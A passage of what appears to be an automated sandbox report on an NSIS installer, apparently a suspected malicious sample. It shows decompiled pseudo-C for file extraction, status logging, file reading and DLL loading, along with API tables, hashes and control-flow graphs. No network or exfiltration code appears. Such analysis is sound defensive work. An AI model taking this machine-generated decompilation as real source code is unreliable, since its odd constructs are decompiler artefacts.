                                      						E0040624C("C:\Users\Arthur\AppData\Local\Temp\nsx575C.tmp", _t81);
                                      						E0040624C(_t81, _t84);
                                      						E0040626E(_t77, _t81, _t84, "C:\Users\Arthur\AppData\Local\Temp\nsx575C.tmp\System.dll",  *((intOrPtr*)(_t86 - 0x14)));
                                      						E0040624C(_t81, "C:\Users\Arthur\AppData\Local\Temp\nsx575C.tmp");
                                      						_t64 = E004058AE("C:\Users\Arthur\AppData\Local\Temp\nsx575C.tmp\System.dll",  *(_t86 - 0x28) >> 3) - 4;
                                      						__eflags = _t64;
                                      						if(_t64 == 0) {
                                      							continue;
                                      						} else {
                                      							__eflags = _t64 == 1;
                                      							if(_t64 == 1) {
                                      								 *0x42a2a8 =  &( *0x42a2a8->dwLowDateTime);
                                      								L32:
                                      								_t51 = 0;
                                      								__eflags = 0;
                                      							} else {
                                      								_push(_t84);
                                      								_push(0xfffffffa);
                                      								E004052B0();
                                      								L29:
                                      								_t51 = 0x7fffffff;
                                      							}
                                      						}
                                      					}
                                      					L33:
                                      					return _t51;
                                      				}
                                      				E004052B0(0xffffffea,  *(_t86 - 8)); // executed
                                      				 *0x42a2d4 =  *0x42a2d4 + 1;
                                      				_push(_t77);
                                      				_push(_t77);
                                      				_push( *(_t86 - 0x30));
                                      				_push( *((intOrPtr*)(_t86 - 0x20)));
                                      				_t45 = E004030FA(); // executed
                                      				 *0x42a2d4 =  *0x42a2d4 - 1;
                                      				__eflags =  *(_t86 - 0x1c) - 0xffffffff;
                                      				_t82 = _t45;
                                      				if( *(_t86 - 0x1c) != 0xffffffff) {
                                      					L22:
                                      					SetFileTime( *(_t86 - 0x30), _t86 - 0x1c, _t77, _t86 - 0x1c); // executed
                                      				} else {
                                      					__eflags =  *((intOrPtr*)(_t86 - 0x18)) - 0xffffffff;
                                      					if( *((intOrPtr*)(_t86 - 0x18)) != 0xffffffff) {
                                      						goto L22;
                                      					}
                                      				}
                                      				CloseHandle( *(_t86 - 0x30)); // executed
                                      				__eflags = _t82 - _t77;
                                      				if(_t82 >= _t77) {
                                      					goto L31;
                                      				} else {
                                      					__eflags = _t82 - 0xfffffffe;
                                      					if(_t82 != 0xfffffffe) {
                                      						E0040626E(_t77, _t82, _t84, _t84, 0xffffffee);
                                      					} else {
                                      						E0040626E(_t77, _t82, _t84, _t84, 0xffffffe9);
                                      						lstrcatW(_t84,  *(_t86 - 8));
                                      					}
                                      					_push(0x200010);
                                      					_push(_t84);
                                      					E004058AE();
                                      					goto L29;
                                      				}
                                      				goto L33;
                                      			}


















                                      0x0040176f
                                      0x00401776
                                      0x00401782
                                      0x00401785
                                      0x0040178a
                                      0x0040178d
                                      0x00401794
                                      0x004017b0
                                      0x00401796
                                      0x00401797
                                      0x00401797
                                      0x004017b6
                                      0x004017bb
                                      0x004017bb
                                      0x004017bf
                                      0x004017c2
                                      0x004017c7
                                      0x004017c9
                                      0x004017cb
                                      0x004017d0
                                      0x004017d0
                                      0x004017db
                                      0x004017db
                                      0x004017ec
                                      0x004017ee
                                      0x004017ee
                                      0x004017ef
                                      0x004017ef
                                      0x004017f2
                                      0x004017f5
                                      0x004017f8
                                      0x004017f8
                                      0x004017ff
                                      0x0040180e
                                      0x00401813
                                      0x00401816
                                      0x00401819
                                      0x00000000
                                      0x00000000
                                      0x0040181b
                                      0x0040181e
                                      0x00401874
                                      0x00401879
                                      0x004015b6
                                      0x00402885
                                      0x00402885
                                      0x00402abf
                                      0x00402ac2
                                      0x00402ac2
                                      0x00000000
                                      0x00401820
                                      0x00401826
                                      0x0040182d
                                      0x0040183a
                                      0x00401845
                                      0x0040185b
                                      0x0040185b
                                      0x0040185e
                                      0x00000000
                                      0x00401864
                                      0x00401864
                                      0x00401865
                                      0x00401882
                                      0x00402ac8
                                      0x00402ac8
                                      0x00402ac8
                                      0x00401867
                                      0x00401867
                                      0x00401868
                                      0x00401493
                                      0x004022f1
                                      0x004022f1
                                      0x004022f1
                                      0x00401865
                                      0x0040185e
                                      0x00402aca
                                      0x00402ace
                                      0x00402ace
                                      0x00401892
                                      0x00401897
                                      0x0040189d
                                      0x0040189e
                                      0x0040189f
                                      0x004018a2
                                      0x004018a5
                                      0x004018aa
                                      0x004018b0
                                      0x004018b4
                                      0x004018b6
                                      0x004018be
                                      0x004018ca
                                      0x004018b8
                                      0x004018b8
                                      0x004018bc
                                      0x00000000
                                      0x00000000
                                      0x004018bc
                                      0x004018d3
                                      0x004018d9
                                      0x004018db
                                      0x00000000
                                      0x004018e1
                                      0x004018e1
                                      0x004018e4
                                      0x004018fc
                                      0x004018e6
                                      0x004018e9
                                      0x004018f2
                                      0x004018f2
                                      0x00401901
                                      0x00401906
                                      0x004022ec
                                      0x00000000
                                      0x004022ec
                                      0x00000000

                                      APIs
                                      • lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
                                      • CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth,?,?,00000031), ref: 004017D5
                                        • Part of subcall function 0040624C: lstrcpynW.KERNEL32(?,?,00000400,0040340E,00429200,NSIS Error,?,00000006,00000008,0000000A), ref: 00406259
                                        • Part of subcall function 004052B0: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000000,00410EA0,00403094,?,?,?,?,?,?,?,?,?,00403233,00000000,?), ref: 004052E8
                                        • Part of subcall function 004052B0: lstrlenW.KERNEL32(00403233,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000000,00410EA0,00403094,?,?,?,?,?,?,?,?,?,00403233,00000000), ref: 004052F8
                                        • Part of subcall function 004052B0: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00403233), ref: 0040530B
                                        • Part of subcall function 004052B0: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll), ref: 0040531D
                                        • Part of subcall function 004052B0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405343
                                        • Part of subcall function 004052B0: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040535D
                                        • Part of subcall function 004052B0: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040536B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                      • String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth$C:\Users\user\AppData\Local\Temp\nsx575C.tmp$C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll$Call
                                      • API String ID: 1941528284-3467715395
                                      • Opcode ID: 3a324719c85a337398cc65979c64fae98dea917b83dd153e176ff01d71b6075b
                                      • Instruction ID: a770c97b6a534c03b62b220807ae8b4c56d0338f794e1485d955ae8f7948b73c
                                      • Opcode Fuzzy Hash: 3a324719c85a337398cc65979c64fae98dea917b83dd153e176ff01d71b6075b
                                      • Instruction Fuzzy Hash: 69419331900519BECF117BB5CD45DAF3A79EF45329B20827FF412B11E2CA3C8A619A6D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 629 4052b0-4052c5 630 4052cb-4052dc 629->630 631 40537c-405380 629->631 632 4052e7-4052f3 lstrlenW 630->632 633 4052de-4052e2 call 40626e 630->633 635 405310-405314 632->635 636 4052f5-405305 lstrlenW 632->636 633->632 638 405323-405327 635->638 639 405316-40531d SetWindowTextW 635->639 636->631 637 405307-40530b lstrcatW 636->637 637->635 640 405329-40536b SendMessageW * 3 638->640 641 40536d-40536f 638->641 639->638 640->641 641->631 642 405371-405374 641->642 642->631
                                      C-Code - Quality: 100%
                                      			E004052B0(signed int _a4, WCHAR* _a8) {
                                      				struct HWND__* _v8;
                                      				signed int _v12;
                                      				WCHAR* _v32;
                                      				long _v44;
                                      				int _v48;
                                      				void* _v52;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				WCHAR* _t27;
                                      				signed int _t28;
                                      				long _t29;
                                      				signed int _t37;
                                      				signed int _t38;
                                      
                                      				_t27 =  *0x4291e4;
                                      				_v8 = _t27;
                                      				if(_t27 != 0) {
                                      					_t37 =  *0x42a2d4;
                                      					_v12 = _t37;
                                      					_t38 = _t37 & 0x00000001;
                                      					if(_t38 == 0) {
                                      						E0040626E(_t38, 0, 0x4226c8, 0x4226c8, _a4);
                                      					}
                                      					_t27 = lstrlenW(0x4226c8);
                                      					_a4 = _t27;
                                      					if(_a8 == 0) {
                                      						L6:
                                      						if((_v12 & 0x00000004) == 0) {
                                      							_t27 = SetWindowTextW( *0x4291c8, 0x4226c8); // executed
                                      						}
                                      						if((_v12 & 0x00000002) == 0) {
                                      							_v32 = 0x4226c8;
                                      							_v52 = 1;
                                      							_t29 = SendMessageW(_v8, 0x1004, 0, 0); // executed
                                      							_v44 = 0;
                                      							_v48 = _t29 - _t38;
                                      							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52); // executed
                                      							_t27 = SendMessageW(_v8, 0x1013, _v48, 0); // executed
                                      						}
                                      						if(_t38 != 0) {
                                      							_t28 = _a4;
                                      							0x4226c8[_t28] = 0;
                                      							return _t28;
                                      						}
                                      					} else {
                                      						_t27 = lstrlenW(_a8) + _a4;
                                      						if(_t27 < 0x1000) {
                                      							_t27 = lstrcatW(0x4226c8, _a8);
                                      							goto L6;
                                      						}
                                      					}
                                      				}
                                      				return _t27;
                                      			}

















                                      0x004052b6
                                      0x004052c0
                                      0x004052c5
                                      0x004052cb
                                      0x004052d6
                                      0x004052d9
                                      0x004052dc
                                      0x004052e2
                                      0x004052e2
                                      0x004052e8
                                      0x004052f0
                                      0x004052f3
                                      0x00405310
                                      0x00405314
                                      0x0040531d
                                      0x0040531d
                                      0x00405327
                                      0x00405330
                                      0x0040533c
                                      0x00405343
                                      0x00405347
                                      0x0040534a
                                      0x0040535d
                                      0x0040536b
                                      0x0040536b
                                      0x0040536f
                                      0x00405371
                                      0x00405374
                                      0x00000000
                                      0x00405374
                                      0x004052f5
                                      0x004052fd
                                      0x00405305
                                      0x0040530b
                                      0x00000000
                                      0x0040530b
                                      0x00405305
                                      0x004052f3
                                      0x00405380

                                      APIs
                                      • lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000000,00410EA0,00403094,?,?,?,?,?,?,?,?,?,00403233,00000000,?), ref: 004052E8
                                      • lstrlenW.KERNEL32(00403233,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000000,00410EA0,00403094,?,?,?,?,?,?,?,?,?,00403233,00000000), ref: 004052F8
                                      • lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00403233), ref: 0040530B
                                      • SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll), ref: 0040531D
                                      • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405343
                                      • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040535D
                                      • SendMessageW.USER32(?,00001013,?,00000000), ref: 0040536B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: MessageSend$lstrlen$TextWindowlstrcat
                                      • String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll
                                      • API String ID: 2531174081-934122076
                                      • Opcode ID: 59d154118c10e025c7735e233b98b544c2589afa460e0b5fca85982ca0aab28e
                                      • Instruction ID: a4acd4142143b7f1d9b449385db23515f6e2bed73a3e7c1e364118513a645948
                                      • Opcode Fuzzy Hash: 59d154118c10e025c7735e233b98b544c2589afa460e0b5fca85982ca0aab28e
                                      • Instruction Fuzzy Hash: 09216071900518BACB21AF66DD84DDFBF74EF45350F14807AF944B62A0C7794A51CF68
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 643 402644-40265d call 402c15 646 402663-40266a 643->646 647 402abf-402ac2 643->647 648 40266c 646->648 649 40266f-402672 646->649 650 402ac8-402ace 647->650 648->649 651 4027d6-4027de 649->651 652 402678-402687 call 4061ac 649->652 651->647 652->651 656 40268d 652->656 657 402693-402697 656->657 658 40272c-40272f 657->658 659 40269d-4026b8 ReadFile 657->659 660 402731-402734 658->660 661 402747-402757 call 405dc1 658->661 659->651 662 4026be-4026c3 659->662 660->661 663 402736-402741 call 405e1f 660->663 661->651 671 402759 661->671 662->651 665 4026c9-4026d7 662->665 663->651 663->661 668 402792-40279e call 406193 665->668 669 4026dd-4026ef MultiByteToWideChar 665->669 668->650 669->671 672 4026f1-4026f4 669->672 675 40275c-40275f 671->675 676 4026f6-402701 672->676 675->668 677 402761-402766 675->677 676->675 678 402703-402728 SetFilePointer MultiByteToWideChar 676->678 679 4027a3-4027a7 677->679 680 402768-40276d 677->680 678->676 681 40272a 678->681 682 4027c4-4027d0 SetFilePointer 679->682 683 4027a9-4027ad 679->683 680->679 684 40276f-402782 680->684 681->671 682->651 685 4027b5-4027c2 683->685 686 4027af-4027b3 683->686 684->651 687 402784-40278a 684->687 685->651 686->682 686->685 687->657 688 402790 687->688 688->651
                                      C-Code - Quality: 83%
                                      			E00402644(intOrPtr __ebx, intOrPtr __edx, void* __esi) {
                                      				intOrPtr _t65;
                                      				intOrPtr _t66;
                                      				intOrPtr _t72;
                                      				void* _t76;
                                      				void* _t79;
                                      
                                      				_t72 = __edx;
                                      				 *((intOrPtr*)(_t76 - 8)) = __ebx;
                                      				_t65 = 2;
                                      				 *((intOrPtr*)(_t76 - 0x48)) = _t65;
                                      				_t66 = E00402C15(_t65);
                                      				_t79 = _t66 - 1;
                                      				 *((intOrPtr*)(_t76 - 0x4c)) = _t72;
                                      				 *((intOrPtr*)(_t76 - 0x3c)) = _t66;
                                      				if(_t79 < 0) {
                                      					L36:
                                      					 *0x42a2a8 =  *0x42a2a8 +  *(_t76 - 4);
                                      				} else {
                                      					__ecx = 0x3ff;
                                      					if(__eax > 0x3ff) {
                                      						 *(__ebp - 0x3c) = 0x3ff;
                                      					}
                                      					if( *__esi == __bx) {
                                      						L34:
                                      						__ecx =  *(__ebp - 0xc);
                                      						__eax =  *(__ebp - 8);
                                      						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
                                      						if(_t79 == 0) {
                                      							 *(_t76 - 4) = 1;
                                      						}
                                      						goto L36;
                                      					} else {
                                      						 *(__ebp - 0x30) = __ebx;
                                      						 *(__ebp - 0x10) = E004061AC(__ecx, __esi);
                                      						if( *(__ebp - 0x3c) > __ebx) {
                                      							do {
                                      								if( *((intOrPtr*)(__ebp - 0x2c)) != 0x39) {
                                      									if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx ||  *(__ebp - 8) != __ebx || E00405E1F( *(__ebp - 0x10), __ebx) >= 0) {
                                      										__eax = __ebp - 0x44;
                                      										if(E00405DC1( *(__ebp - 0x10), __ebp - 0x44, 2) == 0) {
                                      											goto L34;
                                      										} else {
                                      											goto L21;
                                      										}
                                      									} else {
                                      										goto L34;
                                      									}
                                      								} else {
                                      									__eax = __ebp - 0x38;
                                      									_push(__ebx);
                                      									_push(__ebp - 0x38);
                                      									__eax = 2;
                                      									__ebp - 0x38 -  *((intOrPtr*)(__ebp - 0x1c)) = __ebp + 0xa;
                                      									__eax = ReadFile( *(__ebp - 0x10), __ebp + 0xa, __ebp - 0x38 -  *((intOrPtr*)(__ebp - 0x1c)), ??, ??); // executed
                                      									if(__eax == 0) {
                                      										goto L34;
                                      									} else {
                                      										__ecx =  *(__ebp - 0x38);
                                      										if(__ecx == __ebx) {
                                      											goto L34;
                                      										} else {
                                      											__ax =  *(__ebp + 0xa) & 0x000000ff;
                                      											 *(__ebp - 0x48) = __ecx;
                                      											 *(__ebp - 0x44) = __eax;
                                      											if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx) {
                                      												L28:
                                      												__ax & 0x0000ffff = E00406193( *(__ebp - 0xc), __ax & 0x0000ffff);
                                      											} else {
                                      												__ebp - 0x44 = __ebp + 0xa;
                                      												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x44, 1) != 0) {
                                      													L21:
                                      													__eax =  *(__ebp - 0x44);
                                      												} else {
                                      													__esi =  *(__ebp - 0x48);
                                      													__esi =  ~( *(__ebp - 0x48));
                                      													while(1) {
                                      														_t22 = __ebp - 0x38;
                                      														 *_t22 =  *(__ebp - 0x38) - 1;
                                      														__eax = 0xfffd;
                                      														 *(__ebp - 0x44) = 0xfffd;
                                      														if( *_t22 == 0) {
                                      															goto L22;
                                      														}
                                      														 *(__ebp - 0x48) =  *(__ebp - 0x48) - 1;
                                      														__esi = __esi + 1;
                                      														__eax = SetFilePointer( *(__ebp - 0x10), __esi, __ebx, 1); // executed
                                      														__ebp - 0x44 = __ebp + 0xa;
                                      														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x38), __ebp - 0x44, 1) == 0) {
                                      															continue;
                                      														} else {
                                      															goto L21;
                                      														}
                                      														goto L22;
                                      													}
                                      												}
                                      												L22:
                                      												if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx) {
                                      													goto L28;
                                      												} else {
                                      													if( *(__ebp - 0x30) == 0xd ||  *(__ebp - 0x30) == 0xa) {
                                      														if( *(__ebp - 0x30) == __ax || __ax != 0xd && __ax != 0xa) {
                                      															 *(__ebp - 0x48) =  ~( *(__ebp - 0x48));
                                      															__eax = SetFilePointer( *(__ebp - 0x10),  ~( *(__ebp - 0x48)), __ebx, 1);
                                      														} else {
                                      															__ecx =  *(__ebp - 0xc);
                                      															__edx =  *(__ebp - 8);
                                      															 *(__ebp - 8) =  *(__ebp - 8) + 1;
                                      															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
                                      														}
                                      														goto L34;
                                      													} else {
                                      														__ecx =  *(__ebp - 0xc);
                                      														__edx =  *(__ebp - 8);
                                      														 *(__ebp - 8) =  *(__ebp - 8) + 1;
                                      														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
                                      														 *(__ebp - 0x30) = __eax;
                                      														if(__ax == __bx) {
                                      															goto L34;
                                      														} else {
                                      															goto L26;
                                      														}
                                      													}
                                      												}
                                      											}
                                      										}
                                      									}
                                      								}
                                      								goto L37;
                                      								L26:
                                      								__eax =  *(__ebp - 8);
                                      							} while ( *(__ebp - 8) <  *(__ebp - 0x3c));
                                      						}
                                      						goto L34;
                                      					}
                                      				}
                                      				L37:
                                      				return 0;
                                      			}








                                      0x00402644
                                      0x00402646
                                      0x00402649
                                      0x0040264b
                                      0x0040264e
                                      0x00402653
                                      0x00402657
                                      0x0040265a
                                      0x0040265d
                                      0x00402abf
                                      0x00402ac2
                                      0x00402663
                                      0x00402663
                                      0x0040266a
                                      0x0040266c
                                      0x0040266c
                                      0x00402672
                                      0x004027d6
                                      0x004027d6
                                      0x004027d9
                                      0x004027de
                                      0x004015b6
                                      0x00402885
                                      0x00402885
                                      0x00000000
                                      0x00402678
                                      0x00402679
                                      0x00402684
                                      0x00402687
                                      0x00402693
                                      0x00402697
                                      0x0040272f
                                      0x00402747
                                      0x00402757
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040269d
                                      0x0040269d
                                      0x004026a0
                                      0x004026a1
                                      0x004026a4
                                      0x004026a9
                                      0x004026b0
                                      0x004026b8
                                      0x00000000
                                      0x004026be
                                      0x004026be
                                      0x004026c3
                                      0x00000000
                                      0x004026c9
                                      0x004026c9
                                      0x004026d1
                                      0x004026d4
                                      0x004026d7
                                      0x00402792
                                      0x00402799
                                      0x004026dd
                                      0x004026e3
                                      0x004026ef
                                      0x00402759
                                      0x00402759
                                      0x004026f1
                                      0x004026f1
                                      0x004026f4
                                      0x004026f6
                                      0x004026f6
                                      0x004026f6
                                      0x004026f9
                                      0x004026fe
                                      0x00402701
                                      0x00000000
                                      0x00000000
                                      0x00402703
                                      0x00402706
                                      0x0040270e
                                      0x0040271a
                                      0x00402728
                                      0x00000000
                                      0x0040272a
                                      0x00000000
                                      0x0040272a
                                      0x00000000
                                      0x00402728
                                      0x004026f6
                                      0x0040275c
                                      0x0040275f
                                      0x00000000
                                      0x00402761
                                      0x00402766
                                      0x004027a7
                                      0x004027c9
                                      0x004027d0
                                      0x004027b5
                                      0x004027b5
                                      0x004027b8
                                      0x004027bb
                                      0x004027be
                                      0x004027be
                                      0x00000000
                                      0x0040276f
                                      0x0040276f
                                      0x00402772
                                      0x00402775
                                      0x0040277b
                                      0x0040277f
                                      0x00402782
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00402782
                                      0x00402766
                                      0x0040275f
                                      0x004026d7
                                      0x004026c3
                                      0x004026b8
                                      0x00000000
                                      0x00402784
                                      0x00402784
                                      0x00402787
                                      0x00402790
                                      0x00000000
                                      0x00402687
                                      0x00402672
                                      0x00402ac8
                                      0x00402ace

                                      APIs
                                      • ReadFile.KERNELBASE(?,?,?,?), ref: 004026B0
                                      • MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026EB
                                      • SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 0040270E
                                      • MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 00402724
                                        • Part of subcall function 00405E1F: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405E35
                                      • SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D0
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: File$Pointer$ByteCharMultiWide$Read
                                      • String ID: 9
                                      • API String ID: 163830602-2366072709
                                      • Opcode ID: efe543eef621af3ce3e1f10678013b5d314bdbd7c9d0a35879e6d8519b0983c6
                                      • Instruction ID: e157cda522c6117da55a2477cd969df60feaafed97a1adf3b1f02a042ae2ebc2
                                      • Opcode Fuzzy Hash: efe543eef621af3ce3e1f10678013b5d314bdbd7c9d0a35879e6d8519b0983c6
                                      • Instruction Fuzzy Hash: 9C51F774D10219ABDF20DFA5DA88AAEB779FF04304F50443BE511B72D1D7B89982CB58
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 689 4065b6-4065d6 GetSystemDirectoryW 690 4065d8 689->690 691 4065da-4065dc 689->691 690->691 692 4065ed-4065ef 691->692 693 4065de-4065e7 691->693 695 4065f0-406623 wsprintfW LoadLibraryExW 692->695 693->692 694 4065e9-4065eb 693->694 694->695
                                      C-Code - Quality: 100%
                                      			E004065B6(intOrPtr _a4) {
                                      				short _v576;
                                      				signed int _t13;
                                      				struct HINSTANCE__* _t17;
                                      				signed int _t19;
                                      				void* _t24;
                                      
                                      				_t13 = GetSystemDirectoryW( &_v576, 0x104);
                                      				if(_t13 > 0x104) {
                                      					_t13 = 0;
                                      				}
                                      				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
                                      					_t19 = 1;
                                      				} else {
                                      					_t19 = 0;
                                      				}
                                      				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
                                      				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
                                      				return _t17;
                                      			}








                                      0x004065cd
                                      0x004065d6
                                      0x004065d8
                                      0x004065d8
                                      0x004065dc
                                      0x004065ef
                                      0x004065e9
                                      0x004065e9
                                      0x004065e9
                                      0x00406608
                                      0x0040661c
                                      0x00406623

                                      APIs
                                      • GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004065CD
                                      • wsprintfW.USER32 ref: 00406608
                                      • LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 0040661C
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
